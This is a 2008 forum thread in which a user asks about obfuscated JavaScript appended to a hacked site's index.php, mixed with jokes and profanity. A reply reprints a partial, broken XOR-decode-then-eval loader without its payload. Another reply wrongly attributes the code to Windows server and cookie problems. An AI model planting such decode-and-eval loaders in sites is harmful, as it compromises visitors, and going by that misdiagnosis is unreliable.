hlp

Discussion in 'Warbirds International' started by Funtom, Jul 18, 2008.

  1. Funtom

    Funtom Well-Known Member

    Joined:
    Apr 27, 2008
    Messages:
    1,189
    Location:
    opera
    This code is from hacked "index.php":

    hex-->str
    what is it? security hole in javascript???
     
  2. Red Ant

    Red Ant Well-Known Member

    Joined:
    Jan 18, 2002
    Messages:
    4,946
    Location:
    Germany
    To the uninitiated, this may look as if it's merely a whole fucking bunch of numbers ... to me, on the other hand, even a brief glimpse reveals that what we have here is an obscenely large sequence of arbitrary digits. Umm ... I'll get my coat ...
     
  3. Red Ant

    Red Ant Well-Known Member

    Joined:
    Jan 18, 2002
    Messages:
    4,946
    Location:
    Germany
    Here's the same thing reformatted for improved readability: :znaika:

    (comments are mine)

    Code:
    // this is the function that gets called way below
    function iqxZEA( ozusYD )
    {
    	// but this function doesn't seem to get called anywhere
    	function ooGfjX( cqtQ )
    	{
    		var gDYXQE = 0;
    		var mDkzD = cqtQ.length;
    		var gBWab = 0;
    		
    		while ( gBWab < ( ozusYD.length ); hyCi++ )
    		{
    			var qeGhc = bwvWN( kDlr, qQHQfN) ^ bwvWN( dPWDR, qWbD );
    			var oHIjVl = bwvWN( ozusYD, hyCi );
    			qWbD++;
    			qQHQfN++;
    			
    			if( qWbD > dPWDR.length )
    				qWbD=0;
    				
    			if( qQHQfN > kDlr.length )
    				qQHQfN=0 ;
    				
    			pUOpGD += String.fromCharCode( oHIjVl ^ qeGhc );
    		}
    		
    		
    		// weird ... what's the space doing between the p and the UOpGD?
    		// if it wasn't there, the variable name would match the pUOpGD
    		// in the lines above and below
    		eval( p UOpGD );
    		
    		return pUOpGD = new String();
    	}
    	
    	catch( e )
    	{
    	
    	}
    }
    
    
    
    // Ridiculously long byte string argument omitted because it fucks up formatting.
    iqxZEA('...');
    
    Beats me! :shuffle:

    P.S. I know f*** all about JavaScript.
     
    Last edited: Jul 18, 2008
  4. -al---

    -al--- Well-Known Member

    Joined:
    Jan 5, 2005
    Messages:
    6,848
    Location:
    PoznaƄ
    ROFL hahahahahahahahahahahha

    BEST FUCKIN' POST THIS YEAR ANT! :D
     
  5. Funtom

    Funtom Well-Known Member

    Joined:
    Apr 27, 2008
    Messages:
    1,189
    Location:
    opera
    Yes, it looks like nonsence for me too... but why? :)
    I'll check other files...

    btw: I don't know JS :(
     
  6. Funtom

    Funtom Well-Known Member

    Joined:
    Apr 27, 2008
    Messages:
    1,189
    Location:
    opera
    why?
     
  7. Red Ant

    Red Ant Well-Known Member

    Joined:
    Jan 18, 2002
    Messages:
    4,946
    Location:
    Germany

    Maybe it's supposed to distract inquisitive minds like you from the REAL security hole. Trust no one ... ;)
     
  8. Funtom

    Funtom Well-Known Member

    Joined:
    Apr 27, 2008
    Messages:
    1,189
    Location:
    opera
    I am paranoid like hell ;)
     
  9. Fucketeer

    Fucketeer Banned

    Joined:
    Mar 4, 2005
    Messages:
    3,280
    I can confirm that, cause I am hell.
     
  10. Funtom

    Funtom Well-Known Member

    Joined:
    Apr 27, 2008
    Messages:
    1,189
    Location:
    opera
    I am paranoid like Fucketeer ;)
     
  11. Fucketeer

    Fucketeer Banned

    Joined:
    Mar 4, 2005
    Messages:
    3,280
    ;) You're a cute winker. :)
     
  12. Red Ant

    Red Ant Well-Known Member

    Joined:
    Jan 18, 2002
    Messages:
    4,946
    Location:
    Germany

    How DARE you insult Funtom like that?? :mad:


    :p
     
  13. phantom

    phantom Member

    Joined:
    May 3, 2008
    Messages:
    20


    Where did you find it?
     
  14. Funtom

    Funtom Well-Known Member

    Joined:
    Apr 27, 2008
    Messages:
    1,189
    Location:
    opera
    why? do you know answers to my questions?
     
  15. phantom

    phantom Member

    Joined:
    May 3, 2008
    Messages:
    20

    why:
    because knowing where it came could help in finding out how to read it.

    do you know answers to my questions:

    how many questions do you have?
     
  16. Funtom

    Funtom Well-Known Member

    Joined:
    Apr 27, 2008
    Messages:
    1,189
    Location:
    opera
    As i wrote, it's from normal "index.php", the file is without changes, only this code was appended to the end.
     
  17. phantom

    phantom Member

    Joined:
    May 3, 2008
    Messages:
    20
    I am far from an expert. I'm no software person.

    My guess is:

    You're working on a website and the server uses Windows/Microsoft. Some of those servers have problems with php and sometimes html conflicts with certain characters in the text.
    Sometimes there are code keys installed as a cookie so one time viewer get the proper translation of those php characters that have no meaning within the html.
    When cookies are not accepted the whole thing fails or locks-up.

    Again, that's my wild guess. I'm sorry I can't give it more time to investigate for you.
    Good luck!
     
  18. vojtas

    vojtas Well-Known Member

    Joined:
    Sep 4, 2002
    Messages:
    1,801
    Location:
    Ur anus
    you've been hacked by the /b/ ... deal with it